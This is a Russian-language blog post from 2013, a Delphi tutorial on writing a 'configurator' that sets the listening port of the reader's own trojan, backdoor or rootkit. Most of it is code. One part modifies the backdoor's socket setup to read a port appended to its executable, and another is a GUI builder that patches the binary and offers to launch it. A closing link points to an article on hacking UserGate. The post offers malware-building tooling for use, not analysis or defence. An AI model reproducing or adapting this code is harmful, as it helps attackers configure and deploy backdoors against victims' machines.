Yvision.kz
kk
Разное
Разное
399 771 постов41 подписчиков
Всяко-разно
0
09:41, 03 февраля 2013

Конфигуратор на delphi

И так, после долгих мучений я наконец воткнул как написть конфинуратор на дельфях, за что отдельное спасибо Xteen’у! Ну ладно меньше слов больше дел! Естественно подразумевается что у вас уже есть свой трой, бек дор или руткит, далее просто R, который мы и будем править с помошью написанного сегодня с вами конфигуратора! Но для начала нам с вами придется немножко подправить ваш R! Начнем!
У нас есть код (возьму кусок кода из моего троя):

[code]
server.sin_family:=AF_INET;
server.sin_port:=htons(55555); //здесь мы назначаем, порт который будет слушать наш R
//как раз это место мы и будем править
//исправляем 55555 на ReadInfo
server.sin_addr.s_addr:=htonl(INADDR_ANY);
[/code]

После этого в наш код нудно будет добавить одну процу и одна функцию, вот они

[code]
procedure LoadServer(Fname:string;var FullContents:string);//загрузка в память сервера
var
Fcontents:File of Char;
Fbuffer:array [1..1024] of Char;
rLen,Fsize:LongInt;
begin
FullContents:='';
{$I-}
AssignFile(Fcontents,Fname);
Reset(Fcontents);
Fsize:=FileSize(Fcontents);
while not Eof(Fcontents) do begin
BlockRead(Fcontents,Fbuffer,1024,rLen);
FullContents:=FullContents + string(Fbuffer);
end;
CloseFile(Fcontents);
{$I+}
if Length(FullContents) > Fsize then
FullContents:=Copy(FullContents,1,Fsize);
end;

Function ReadInfo: Integer;//функция нахождения и правки порта
var
fcontent, apnd : string;
i : integer;
begin
copyfile( PChar(paramstr(0)) , PChar(paramstr(0)+'_'), false );
LoadServer( paramstr(0)+'_' , fcontent );
apnd := '';
i := length( fcontent );
while (i>0) AND (fcontent[i]<>#00) do begin
apnd := fcontent[i] + apnd;
i := i-1;
end;
deletefile( PChar(paramstr(0)+'_') );
Result := StrToInt(apnd);
end;
[/code]

Ну вот с R мы закончили приступаем к написанию конфигуратора!
Здесь я привиду основную часть кода ибо все остальное можно будет дописать по желанию.

[code]
procedure TForm1.LoadServer(Fname:string;var FullContents:string);
var
Fcontents:File of Char;
Fbuffer:array [1..1024] of Char;
rLen,Fsize:LongInt;
begin
FullContents:='';
{$I-}
AssignFile(Fcontents,Fname);
Reset(Fcontents);
Fsize:=FileSize(Fcontents);
while not Eof(Fcontents) do begin
BlockRead(Fcontents,Fbuffer,1024,rLen);
FullContents:=FullContents + string(Fbuffer);
end;
CloseFile(Fcontents);
{$I+}
if Length(FullContents) > Fsize then
FullContents:=Copy(FullContents,1,Fsize);
end;

procedure TForm1.OpnnClick(Sender: TObject);
VAR
fcontent, apnd : String;
i : integer;
begin
IF opn.Execute THEN begin
EdtFname.Text := opn.FileName;
LoadServer(EdtFname.Text,fcontent);
i := length(fcontent);
apnd := '';
WHILE (i > 0) AND (fcontent[i] <> #00) DO begin
apnd := fcontent[i] + apnd;
i := i-1;
end;
end;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
Opn.InitialDir := ExtractFilePath(application.exename);
end;

procedure TForm1.SvClick(Sender: TObject);//открываем и правим
VAR
fcontent : string;
i : integer;
f : textfile;
begin
IF fileexists( EdtFname.Text ) THEN
begin
LoadServer( EdtFname.Text, fcontent );
i := length(fcontent);
while (i>0) AND (fcontent[i]<>#00) DO
i := i -1;
fcontent := copy(fcontent,1,i);
fcontent := fcontent + Prt.Text;
AssignFile( f , EdtFname.Text );
Rewrite( f );
write( f , fcontent );
closefile( f );
copyfile( 'ZeroDay.exe','ZeroDayNoEdit.exe', false );//тут можно подправить по желанию
IF messagedlg('Сервер сконфигурирован'+#13+#10+новый порт ….'+Prt.Text+#13+#10+
'Запустить сервер сейчас?',
mtConfirmation,[mbYes,mbNo],0) = mrYes THEN
shellexecute( 0 , nil , PChar( EdtFname.Text) , nil , nil , 1 );
end
ELSE
messagedlg('Указанный файл не верен!!!',mtError,[mbok],0);
end;
[/code]

Ну вот собстно и все! Знающие люди скажут, что это самый приметивный способ и, что код очень сырой и нуждается в оптимизации и отладке! И я, честно говоря, отвечу, что они правы, но я специально не стал приводить здесь оптимизированный код лишь потому, чтобы вы читая эту статью поднапрягли свои мозги!
Всем спасибо за внимание!

P.S.Дополнения, просьба писать в эту тему! Если у когото есть какие нить претензии по поводу статьи,тож отписываем в этой теме!
P.S.S.Созданный код, берет свое существование от http://opensc.ws/showthread.php?t=618

   

Как взломать usergate

0
249
0